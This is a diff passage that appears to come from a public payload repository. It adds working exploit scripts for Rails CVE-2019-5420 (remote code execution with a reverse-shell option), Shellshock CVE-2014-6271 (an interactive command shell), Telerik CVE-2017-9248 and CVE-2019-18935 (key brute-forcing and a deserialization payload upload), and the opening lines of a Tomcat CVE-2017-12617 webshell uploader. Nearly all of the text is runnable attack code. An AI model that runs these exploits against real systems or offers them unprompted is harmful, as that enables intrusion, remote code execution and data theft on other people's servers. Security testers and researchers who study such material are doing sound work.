+ puts "[+] Getting reflective command (R) or reverse shell (S) => "
82
+ loop do
83
+ begin
84
+ input = [(print 'Select option R or S: '), gets.rstrip][1]
85
+ if input == "R"
86
+ puts "Reflective command selected"
87
+ command = [(print "command (\033[92mreflected\033[0m): "), gets.rstrip][1]
88
+ elsif input == "S"
89
+ puts "Reverse shell selected"
90
+ command = [(print "command (\033[92mnot reflected\033[0m): "), gets.rstrip][1]
91
+ else
92
+ puts "No option selected"
93
+ abort
94
+ end
95
+
96
+ command_b64 = Base64.encode64(command)
97
+
98
+ print "[+] Generating payload CVE-2019-5420 => "
99
+ secret_key_base = credentials.secret_key_base
100
+ key_generator = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
101
+ secret = key_generator.generate_key("ActiveStorage")
102
+ verifier = ActiveSupport::MessageVerifier.new(secret)
103
+ if input == "R"
104
+ code = "system('bash','-c','" + command + " > /tmp/result.txt')"
105
+ else
106
+ code = "system('bash','-c','" + command + "')"
107
+ end
108
+ erb = ERB.allocate
109
+ erb.instance_variable_set :@src, code
110
+ erb.instance_variable_set :@filename, "1"
111
+ erb.instance_variable_set :@lineno, 1
112
+ dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
113
+
114
+ puts "\033[92mOK\033[0m"
115
+ puts ""
116
+ url = $remote + "/rails/active_storage/disk/" + verifier.generate(dump_target, purpose: :blob_key) + "/test"
117
+ puts url
118
+ puts ""
119
+
120
+ print "[+] Sending request => "
121
+ uri = URI(url)
122
+ req = Net::HTTP::Get.new(uri)
123
+ req['Accept'] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
124
+ res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
125
+ http.request(req)
126
+ }
127
+ if res.code == "500"
128
+ puts "\033[92mOK\033[0m"
129
+ else
130
+ puts "KO"
131
+ abort
132
+ end
133
+
134
+ if input == "R"
135
+ print "[+] Getting result of command => "
136
+ uri = URI($remote + $ressource)
137
+ req = Net::HTTP::Get.new(uri)
138
+ req['Accept'] = "../../../../../../../../../../tmp/result.txt{{"
139
+ res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
140
+ http.request(req)
141
+ }
142
+ if res.code == "200"
143
+ puts "\033[92mOK\033[0m\n\n"
144
+ puts res.body
145
+ puts "\n"
146
+ else
147
+ puts "KO"
148
+ abort
149
+ end
150
+ end
151
+
152
+ rescue Exception => e
153
+ puts "Exiting..."
154
+ abort
155
+ end
156
+ end
payloads/CVE Exploits/Shellshock CVE-2014-6271.py ADDED
@@ -0,0 +1,36 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/python
2
+
3
+ # Successful Output:
4
+ # # python shell_shocker.py <VulnURL>
5
+ # [+] Attempting Shell_Shock - Make sure to type full path
6
+ # ~$ /bin/ls /
7
+ # bin
8
+ # boot
9
+ # dev
10
+ # etc
11
+ # ..
12
+ # ~$ /bin/cat /etc/passwd
13
+
14
+ from __future__ import print_function
15
+ from future import standard_library
16
+ standard_library.install_aliases()
17
+ from builtins import input
18
+ import sys, urllib.request, urllib.error, urllib.parse
19
+
20
+ if len(sys.argv) != 2:
21
+ print("Usage: shell_shocker <URL>")
22
+ sys.exit(0)
23
+
24
+ URL=sys.argv[1]
25
+ print("[+] Attempting Shell_Shock - Make sure to type full path")
26
+
27
+ while True:
28
+ command=input("~$ ")
29
+ opener=urllib.request.build_opener()
30
+ opener.addheaders=[('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ; '+command)]
31
+ try:
32
+ response=opener.open(URL)
33
+ for line in response.readlines():
34
+ print(line.strip())
35
+ except Exception as e: print(e)
36
+
payloads/CVE Exploits/Telerik CVE-2017-9248.py ADDED
@@ -0,0 +1,362 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Author: Paul Taylor / @bao7uo
2
+
3
+ # https://github.com/bao7uo/dp_crypto/blob/master/dp_crypto.py
4
+
5
+ # dp_crypto - CVE-2017-9248 exploit
6
+ # Telerik.Web.UI.dll Cryptographic compromise
7
+
8
+ # Warning - no cert warnings,
9
+ # and verify = False in code below prevents verification
10
+
11
+ import sys
12
+ import base64
13
+ import requests
14
+ import re
15
+ import binascii
16
+ import argparse
17
+
18
+ from requests.packages.urllib3.exceptions import InsecureRequestWarning
19
+
20
+ requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
21
+
22
+ requests_sent = 0
23
+ char_requests = 0
24
+
25
+
26
+ def getProxy(proxy):
27
+ return { "http" : proxy, "https" : proxy }
28
+
29
+
30
+ def get_result(plaintext, key, session, pad_chars):
31
+ global requests_sent, char_requests
32
+
33
+ url = args.url
34
+ base_pad = (len(key) % 4)
35
+ base = '' if base_pad == 0 else pad_chars[0:4 - base_pad]
36
+ dp_encrypted = base64.b64encode(
37
+ (encrypt(plaintext, key) + base).encode()
38
+ ).decode()
39
+ request = requests.Request('GET', url + '?dp=' + dp_encrypted)
40
+ request = request.prepare()
41
+ response = session.send(request, verify=False, proxies = getProxy(args.proxy))
42
+ requests_sent += 1
43
+ char_requests += 1
44
+
45
+ match = re.search("(Error Message:)(.+\n*.+)(</div>)", response.text)
46
+ return True \
47
+ if match is not None \
48
+ and match.group(2) == args.oracle \
49
+ else False
50
+
51
+ def test_keychar(keychar, found, session, pad_chars):
52
+ base64chars = [
53
+ "A", "Q", "g", "w", "B", "R", "h", "x", "C", "S", "i", "y",
54
+ "D", "T", "j", "z", "E", "U", "k", "0", "F", "V", "l", "1",
55
+ "G", "W", "m", "2", "H", "X", "n", "3", "I", "Y", "o", "4",
56
+ "J", "Z", "p", "5", "K", "a", "q", "6", "L", "b", "r", "7",
57
+ "M", "c", "s", "8", "N", "d", "t", "9", "O", "e", "u", "+",
58
+ "P", "f", "v", "/"
59
+ ]
60
+
61
+ duff = False
62
+ accuracy_thoroughness_threshold = args.accuracy
63
+ for bc in range(int(accuracy_thoroughness_threshold)):
64
+ # ^^ max is len(base64chars)
65
+ sys.stdout.write("\b\b" + base64chars[bc] + "]")
66
+ sys.stdout.flush()
67
+ if not get_result(
68
+ base64chars[0] * len(found) + base64chars[bc],
69
+ found + keychar, session, pad_chars
70
+ ):
71
+ duff = True
72
+ break
73
+ return False if duff else True
74
+
75
+
76
+ def encrypt(dpdata, key):
77
+ encrypted = []
78
+ k = 0
79
+ for i in range(len(dpdata)):
80
+ encrypted.append(chr(ord(dpdata[i]) ^ ord(key[k])))
81
+ k = 0 if k >= len(key) - 1 else k + 1
82
+ return ''.join(str(e) for e in encrypted)
83
+
84
+
85
+ def mode_decrypt():
86
+ ciphertext = base64.b64decode(args.ciphertext).decode()
87
+ key = args.key
88
+ print(base64.b64decode(encrypt(ciphertext, key)).decode())
89
+ print("")
90
+
91
+
92
+ def mode_encrypt():
93
+ plaintext = args.plaintext
94
+ key = args.key
95
+
96
+ plaintext = base64.b64encode(plaintext.encode()).decode()
97
+ print(base64.b64encode(encrypt(plaintext, key).encode()).decode())
98
+ print("")
99
+
100
+
101
+ def test_keypos(key_charset, unprintable, found, session):
102
+ pad_chars = ''
103
+ for pad_char in range(256):
104
+ pad_chars += chr(pad_char)
105
+
106
+ for i in range(len(pad_chars)):
107
+ for k in range(len(key_charset)):
108
+ keychar = key_charset[k]
109
+ sys.stdout.write("\b"*6)
110
+ sys.stdout.write(
111
+ (
112
+ keychar
113
+ if unprintable is False
114
+ else '+'
115
+ ) +
116
+ ") [" + (
117
+ keychar
118
+ if unprintable is False
119
+ else '+'
120
+ ) +
121
+ "]"
122
+ )
123
+ sys.stdout.flush()
124
+ if test_keychar(keychar, found, session, pad_chars[i] * 3):
125
+ return keychar
126
+ return False
127
+
128
+
129
+ def get_key(session):
130
+ global char_requests
131
+ found = ''
132
+ unprintable = False
133
+
134
+ key_length = args.key_len
135
+ key_charset = args.charset
136
+ if key_charset == 'all':
137
+ unprintable = True
138
+ key_charset = ''
139
+ for i in range(256):
140
+ key_charset += chr(i)
141
+ else:
142
+ if key_charset == 'hex':
143
+ key_charset = '01234567890ABCDEF'
144
+
145
+ print("Attacking " + args.url)
146
+ print(
147
+ "to find key of length [" +
148
+ str(key_length) +
149
+ "] with accuracy threshold [" +
150
+ str(args.accuracy) +
151
+ "]"
152
+ )
153
+ print(
154
+ "using key charset [" +
155
+ (
156
+ key_charset
157
+ if unprintable is False
158
+ else '- all ASCII -'
159
+ ) +
160
+ "]\n"
161
+ )
162
+ for i in range(int(key_length)):
163
+ pos_str = (
164
+ str(i + 1)
165
+ if i > 8
166
+ else "0" + str(i + 1)
167
+ )
168
+ sys.stdout.write("Key position " + pos_str + ": (------")
169
+ sys.stdout.flush()
170
+ keychar = test_keypos(key_charset, unprintable, found, session)
171
+ if keychar is not False:
172
+ found = found + keychar
173
+ sys.stdout.write(
174
+ "\b"*7 + "{" +
175
+ (
176
+ keychar
177
+ if unprintable is False
178
+ else '0x' + binascii.hexlify(keychar.encode()).decode()
179
+ ) +
180
+ "} found with " +
181
+ str(char_requests) +
182
+ " requests, total so far: " +
183
+ str(requests_sent) +
184
+ "\n"
185
+ )
186
+ sys.stdout.flush()
187
+ char_requests = 0
188
+ else:
189
+ sys.stdout.write("\b"*7 + "Not found, quitting\n")
190
+ sys.stdout.flush()
191
+ break
192
+ if keychar is not False:
193
+ print("Found key: " +
194
+ (
195
+ found
196
+ if unprintable is False
197
+ else "(hex) " + binascii.hexlify(found.encode()).decode()
198
+ )
199
+ )
200
+ print("Total web requests: " + str(requests_sent))
201
+ return found
202
+
203
+
204
+ def mode_brutekey():
205
+ session = requests.Session()
206
+ found = get_key(session)
207
+
208
+ if found == '':
209
+ return
210
+ else:
211
+ urls = {}
212
+ url_path = args.url
213
+ params = (
214
+ '?DialogName=DocumentManager' +
215
+ '&renderMode=2' +
216
+ '&Skin=Default' +
217
+ '&Title=Document%20Manager' +
218
+ '&dpptn=' +
219
+ '&isRtl=false' +
220
+ '&dp='
221
+ )
222
+ versions = [
223
+ '2007.1423', '2007.1521', '2007.1626', '2007.2918',
224
+ '2007.21010', '2007.21107', '2007.31218', '2007.31314',
225
+ '2007.31425', '2008.1415', '2008.1515', '2008.1619',
226
+ '2008.2723', '2008.2826', '2008.21001', '2008.31105',
227
+ '2008.31125', '2008.31314', '2009.1311', '2009.1402',
228
+ '2009.1527', '2009.2701', '2009.2826', '2009.31103',
229
+ '2009.31208', '2009.31314', '2010.1309', '2010.1415',
230
+ '2010.1519', '2010.2713', '2010.2826', '2010.2929',
231
+ '2010.31109', '2010.31215', '2010.31317', '2011.1315',
232
+ '2011.1413', '2011.1519', '2011.2712', '2011.2915',
233
+ '2011.31115', '2011.3.1305', '2012.1.215', '2012.1.411',
234
+ '2012.2.607', '2012.2.724', '2012.2.912', '2012.3.1016',
235
+ '2012.3.1205', '2012.3.1308', '2013.1.220', '2013.1.403',
236
+ '2013.1.417', '2013.2.611', '2013.2.717', '2013.3.1015',
237
+ '2013.3.1114', '2013.3.1324', '2014.1.225', '2014.1.403',
238
+ '2014.2.618', '2014.2.724', '2014.3.1024', '2015.1.204',
239
+ '2015.1.225', '2015.1.401', '2015.2.604', '2015.2.623',
240
+ '2015.2.729', '2015.2.826', '2015.3.930', '2015.3.1111',
241
+ '2016.1.113', '2016.1.225', '2016.2.504', '2016.2.607',
242
+ '2016.3.914', '2016.3.1018', '2016.3.1027', '2017.1.118',
243
+ '2017.1.228', '2017.2.503', '2017.2.621', '2017.2.711',
244
+ '2017.3.913'
245
+ ]
246
+
247
+ plaintext1 = 'EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,'
248
+ plaintext2_raw1 = 'Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, Version='
249
+ plaintext2_raw3 = ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
250
+ plaintext3 = ';AllowMultipleSelection,False,3,False'
251
+
252
+ if len(args.version) > 0:
253
+ versions = [args.version]
254
+
255
+ for version in versions:
256
+ plaintext2_raw2 = version
257
+ plaintext2 = base64.b64encode(
258
+ (plaintext2_raw1 +
259
+ plaintext2_raw2 +
260
+ plaintext2_raw3
261
+ ).encode()
262
+ ).decode()
263
+ plaintext = plaintext1 + plaintext2 + plaintext3
264
+ plaintext = base64.b64encode(
265
+ plaintext.encode()
266
+ ).decode()
267
+ ciphertext = base64.b64encode(
268
+ encrypt(
269
+ plaintext,
270
+ found
271
+ ).encode()
272
+ ).decode()
273
+ full_url = url_path + params + ciphertext
274
+ urls[version] = full_url
275
+
276
+ found_valid_version = False
277
+ for version in urls:
278
+ url = urls[version]
279
+ request = requests.Request('GET', url)
280
+ request = request.prepare()
281
+ response = session.send(request, verify=False, proxies=getProxy(args.proxy))
282
+ if response.status_code == 500:
283
+ continue
284
+ else:
285
+ match = re.search(
286
+ "(Error Message:)(.+\n*.+)(</div>)",
287
+ response.text
288
+ )
289
+ if match is None:
290
+ print(version + ": " + url)
291
+ found_valid_version = True
292
+ break
293
+
294
+ if not found_valid_version:
295
+ print("No valid version found")
296
+
297
+ def mode_samples():
298
+ print("Samples for testing decryption and encryption functions:")
299
+ print("-d ciphertext key")
300
+ print("-e plaintext key")
301
+ print("")
302
+ print("Key:")
303
+ print("DC50EEF37087D124578FD4E205EFACBE0D9C56607ADF522D")
304
+ print("")
305
+ print("Plaintext:")
306
+ print("EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,VGVsZXJpay5XZWIuVUkuRWRpdG9yLkRpYWxvZ0NvbnRyb2xzLkRvY3VtZW50TWFuYWdlckRpYWxvZywgVGVsZXJpay5XZWIuVUksIFZlcnNpb249MjAxNi4yLjUwNC40MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0xMjFmYWU3ODE2NWJhM2Q0;AllowMultipleSelection,False,3,False")
307
+ print("")
308
+ print("Ciphertext:")
309
+ print("FhQAWBwoPl9maHYCJlx8YlZwQDAdYxRBYlgDNSJxFzZ9PUEWVlhgXHhxFipXdWR0HhV3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMLciMVMnN9AFJ0Z2EDWG4sPCpnZQMtHhRnWx8SFHBuaHZbEQJgAVdwbjwlcxNeVHY9ARgUOj9qF045eXBkSVMWEXFgX2QxHgRjSRESf1htY0BwHWZKTm9kTz8IcAwFZm0HNSNxBC5lA39zVH57Q2EJDndvYUUzCAVFRBw/KmJiZwAOCwB8WGxvciwlcgdaVH0XKiIudz98Ams6UWFjQ3oCPBJ4X0EzHXJwCRURMnVVXX5eJnZkcldgcioecxdeanMLNCAUdz98AWMrV354XHsFCTVjenh1HhdBfhwdLmVUd0BBHWZgc1RgQCoRBikEamY9ARgUOj9qF047eXJ/R3kFIzF4dkYJJnF7WCcCKgVuaGpHJgMHZWxvaikIcR9aUn0LKg0HAzZ/dGMzV3Fgc1QsfXVWAGQ9FXEMRSECEEZTdnpOJgJoRG9wbj8SfClFamBwLiMUFzZiKX8wVgRjQ3oCM3FjX14oIHJ3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMDMBEXNg9TdXcxVGEDZVVyEixUcUoDHRRNSh8WMUl7dWJfJnl8WHoHbnIgcxNLUlgDNRMELi1SAwAtVgd0WFMGIzVnX3Q3J3FgQwgGMQRjd35CHgJkXG8FbTUWWQNBUwcQNQwAOiRmPmtzY1psfmcVMBNvZUooJy5ZQgkuFENuZ0BBHgFgWG9aVDMlbBdCUgdxMxMELi1SAwAtY35aR20UcS5XZWc3Fi5zQyZ3E0B6c0BgFgBoTmJbUA0ncwMHfmMtJxdzLnRmKG8xUWB8aGIvBi1nSF5xEARBYyYDKmtSeGJWCXQHBmxaDRUhYwxLVX01CyByCHdnEHcUUXBGaHkVBhNjAmh1ExVRWycCCEFiXnptEgJaBmJZVHUeBR96ZlsLJxYGMjJpHFJyYnBGaGQZEhFjZUY+FxZvUScCCEZjXnpeCVtjAWFgSAQhcXBCfn0pCyAvFHZkL3RzeHMHdFNzIBR4A2g+HgZdZyATNmZ6aG5WE3drQ2wFCQEnBD12YVkDLRdzMj9pEl0MYXBGaVUHEi94XGA3HS5aRyAAd0JlXQltEgBnTmEHagAJX3BqY1gtCAwvBzJ/dH8wV3EPA2MZEjVRdV4zJgRjZB8SPl9uA2pHJgMGR2dafjUnBhBBfUw9ARgUOj9qFQR+")
310
+ print("")
311
+
312
+
313
+ def mode_b64e():
314
+ print(base64.b64encode(args.parameter.encode()).decode())
315
+ print("")
316
+
317
+
318
+ def mode_b64d():
319
+ print(base64.b64decode(args.parameter.encode()).decode())
320
+ print("")
321
+
322
+ sys.stderr.write(
323
+ "\ndp_crypto by Paul Taylor / @bao7uo\nCVE-2017-9248 - " +
324
+ "Telerik.Web.UI.dll Cryptographic compromise\n\n"
325
+ )
326
+
327
+ p = argparse.ArgumentParser()
328
+ subparsers = p.add_subparsers()
329
+
330
+ decrypt_parser = subparsers.add_parser('d', help='Decrypt a ciphertext')
331
+ decrypt_parser.set_defaults(func=mode_decrypt)
332
+ decrypt_parser.add_argument('ciphertext', action='store', type=str, default='', help='Ciphertext to decrypt')
333
+ decrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt')
334
+
335
+ encrypt_parser = subparsers.add_parser('e', help='Encrypt a plaintext')
336
+ encrypt_parser.set_defaults(func=mode_encrypt)
337
+ encrypt_parser.add_argument('plaintext', action='store', type=str, default='', help='Ciphertext to decrypt')
338
+ encrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt')
339
+
340
+ brute_parser = subparsers.add_parser('k', help='Bruteforce key/generate URL')
341
+ brute_parser.set_defaults(func=mode_brutekey)
342
+ brute_parser.add_argument('-u', '--url', action='store', type=str, help='Target URL')
343
+ brute_parser.add_argument('-l', '--key-len', action='store', type=int, default=48, help='Len of the key to retrieve, OPTIONAL: default is 48')
344
+ brute_parser.add_argument('-o', '--oracle', action='store', type=str, default='Index was outside the bounds of the array.', help='The oracle text to use. OPTIONAL: default value is for english version, other languages may have other error message')
345
+ brute_parser.add_argument('-v', '--version', action='store', type=str, default='', help='OPTIONAL. Specify the version to use rather than iterating over all of them')
346
+ brute_parser.add_argument('-c', '--charset', action='store', type=str, default='hex', help='Charset used by the key, can use all, hex, or user defined. OPTIONAL: default is hex')
347
+ brute_parser.add_argument('-a', '--accuracy', action='store', type=int, default=9, help='Maximum accuracy is out of 64 where 64 is the most accurate, \
348
+ accuracy of 9 will usually suffice for a hex, but 21 or more might be needed when testing all ascii characters. Increase the accuracy argument if no valid version is found. OPTIONAL: default is 9.')
349
+ brute_parser.add_argument('-p', '--proxy', action='store', type=str, default='', help='Specify OPTIONAL proxy server, e.g. 127.0.0.1:8080')
350
+
351
+ encode_parser = subparsers.add_parser('b', help='Encode parameter to base64')
352
+ encode_parser.set_defaults(func=mode_b64e)
353
+ encode_parser.add_argument('parameter', action='store', type=str, help='Parameter to encode')
354
+
355
+ decode_parser = subparsers.add_parser('p', help='Decode base64 parameter')
356
+ decode_parser.set_defaults(func=mode_b64d)
357
+ decode_parser.add_argument('parameter', action='store', type=str, help='Parameter to decode')
358
+
359
+ args = p.parse_args()
360
+
361
+ if len(sys.argv) > 2:
362
+ args.func()
payloads/CVE Exploits/Telerik CVE-2019-18935.py ADDED
@@ -0,0 +1,140 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ # origin : https://github.com/noperator/CVE-2019-18935
3
+ # INSTALL:
4
+ # git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
5
+ # python3 -m venv env
6
+ # source env/bin/activate
7
+ # pip3 install -r requirements.txt
8
+
9
+ # Import encryption routines.
10
+ from sys import path
11
+ path.insert(1, 'RAU_crypto')
12
+ from RAU_crypto import RAUCipher
13
+
14
+ from argparse import ArgumentParser
15
+ from json import dumps, loads
16
+ from os.path import basename, splitext
17
+ from pprint import pprint
18
+ from requests import post
19
+ from requests.packages.urllib3 import disable_warnings
20
+ from sys import stderr
21
+ from time import time
22
+ from urllib3.exceptions import InsecureRequestWarning
23
+
24
+ disable_warnings(category=InsecureRequestWarning)
25
+
26
+ def send_request(files):
27
+ headers = {
28
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0',
29
+ 'Connection': 'close',
30
+ 'Accept-Language': 'en-US,en;q=0.5',
31
+ 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
32
+ 'Upgrade-Insecure-Requests': '1'
33
+ }
34
+ response = post(url, files=files, verify=False, headers=headers)
35
+ try:
36
+ result = loads(response.text)
37
+ result['metaData'] = loads(RAUCipher.decrypt(result['metaData']))
38
+ pprint(result)
39
+ except:
40
+ print(response.text)
41
+
42
+ def build_raupostdata(object, type):
43
+ return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type)
44
+
45
+ def upload():
46
+
47
+ # Build rauPostData.
48
+ object = {
49
+ 'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), ui_version),
50
+ 'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), ui_version),
51
+ 'MaxFileSize': 0,
52
+ 'TimeToLive': { # These values seem a bit arbitrary, but when they're all set to 0, the payload disappears shortly after being written to disk.
53
+ 'Ticks': 1440000000000,
54
+ 'Days': 0,
55
+ 'Hours': 40,
56
+ 'Minutes': 0,
57
+ 'Seconds': 0,
58
+ 'Milliseconds': 0,
59
+ 'TotalDays': 1.6666666666666666,
60
+ 'TotalHours': 40,
61
+ 'TotalMinutes': 2400,
62
+ 'TotalSeconds': 144000,
63
+ 'TotalMilliseconds': 144000000
64
+ },
65
+ 'UseApplicationPoolImpersonation': False
66
+ }
67
+ type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + ui_version + ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
68
+ raupostdata = build_raupostdata(object, type)
69
+
70
+ with open(filename_local, 'rb') as f:
71
+ payload = f.read()
72
+
73
+ metadata = {
74
+ 'TotalChunks': 1,
75
+ 'ChunkIndex': 0,
76
+ 'TotalFileSize': 1,
77
+ 'UploadID': filename_remote # Determines remote filename on disk.
78
+ }
79
+
80
+ # Build multipart form data.
81
+ files = {
82
+ 'rauPostData': (None, raupostdata),
83
+ 'file': (filename_remote, payload, 'application/octet-stream'),
84
+ 'fileName': (None, filename_remote),
85
+ 'contentType': (None, 'application/octet-stream'),
86
+ 'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'),
87
+ 'metadata': (None, dumps(metadata))
88
+ }
89
+
90
+ # Send request.
91
+ print('[*] Local payload name: ', filename_local, file=stderr)
92
+ print('[*] Destination folder: ', temp_target_folder, file=stderr)
93
+ print('[*] Remote payload name:', filename_remote, file=stderr)
94
+ print(file=stderr)
95
+ send_request(files)
96
+
97
+ def deserialize():
98
+
99
+ # Build rauPostData.
100
+ object = {
101
+ 'Path': 'file:///' + temp_target_folder.replace('\\', '/') + '/' + filename_remote
102
+ }
103
+ type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=' + net_version + ', Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'
104
+ raupostdata = build_raupostdata(object, type)
105
+
106
+ # Build multipart form data.
107
+ files = {
108
+ 'rauPostData': (None, raupostdata), # Only need this now.
109
+ '': '' # One extra input is required for the page to process the request.
110
+ }
111
+
112
+ # Send request.
113
+ print('\n[*] Triggering deserialization for .NET v' + net_version + '...\n', file=stderr)
114
+ start = time()
115
+ send_request(files)
116
+ end = time()
117
+ print('\n[*] Response time:', round(end - start, 2), 'seconds', file=stderr)
118
+
119
+ if __name__ == '__main__':
120
+ parser = ArgumentParser(description='Exploit for CVE-2019-18935, a .NET deserialization vulnerability in Telerik UI for ASP.NET AJAX.')
121
+ parser.add_argument('-t', dest='test_upload', action='store_true', help="just test file upload, don't exploit deserialization vuln")
122
+ parser.add_argument('-v', dest='ui_version', required=True, help='software version')
123
+ parser.add_argument('-n', dest='net_version', default='4.0.0.0', help='.NET version')
124
+ parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL')
125
+ parser.add_argument('-f', dest='folder', required=True, help='destination folder on target')
126
+ parser.add_argument('-u', dest='url', required=True, help='https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau')
127
+ args = parser.parse_args()
128
+
129
+ temp_target_folder = args.folder.replace('/', '\\')
130
+ ui_version = args.ui_version
131
+ net_version = args.net_version
132
+ filename_local = args.payload
133
+ filename_remote = str(time()) + splitext(basename(filename_local))[1]
134
+ url = args.url
135
+
136
+ upload()
137
+
138
+ if not args.test_upload:
139
+ deserialize()
140
+
payloads/CVE Exploits/Tomcat CVE-2017-12617.py ADDED
@@ -0,0 +1,239 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/python
2
+ # From https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/tomcat-cve-2017-12617.py
3
+ """
4
+ ./cve-2017-12617.py [options]
5
+
6
+
7
+ options:
8
+
9
+
10
+ -u ,--url [::] check target url if it's vulnerable
11
+ -p,--pwn [::] generate webshell and upload it
12
+ -l,--list [::] hosts list
13
+
14
+
15
+ [+]usage:
16
+
17
+
18
+ ./cve-2017-12617.py -u http://127.0.0.1
19
+ ./cve-2017-12617.py --url http://127.0.0.1
20
+ ./cve-2017-12617.py -u http://127.0.0.1 -p pwn
21
+ ./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
22
+ ./cve-2017-12617.py -l hotsts.txt
23
+ ./cve-2017-12617.py --list hosts.txt
24
+ """
25
+ from __future__ import print_function
26
+ from builtins import input
27
+ from builtins import str
28
+ from builtins import object
29
+ import requests
30
+ import re
31
+ import signal
32
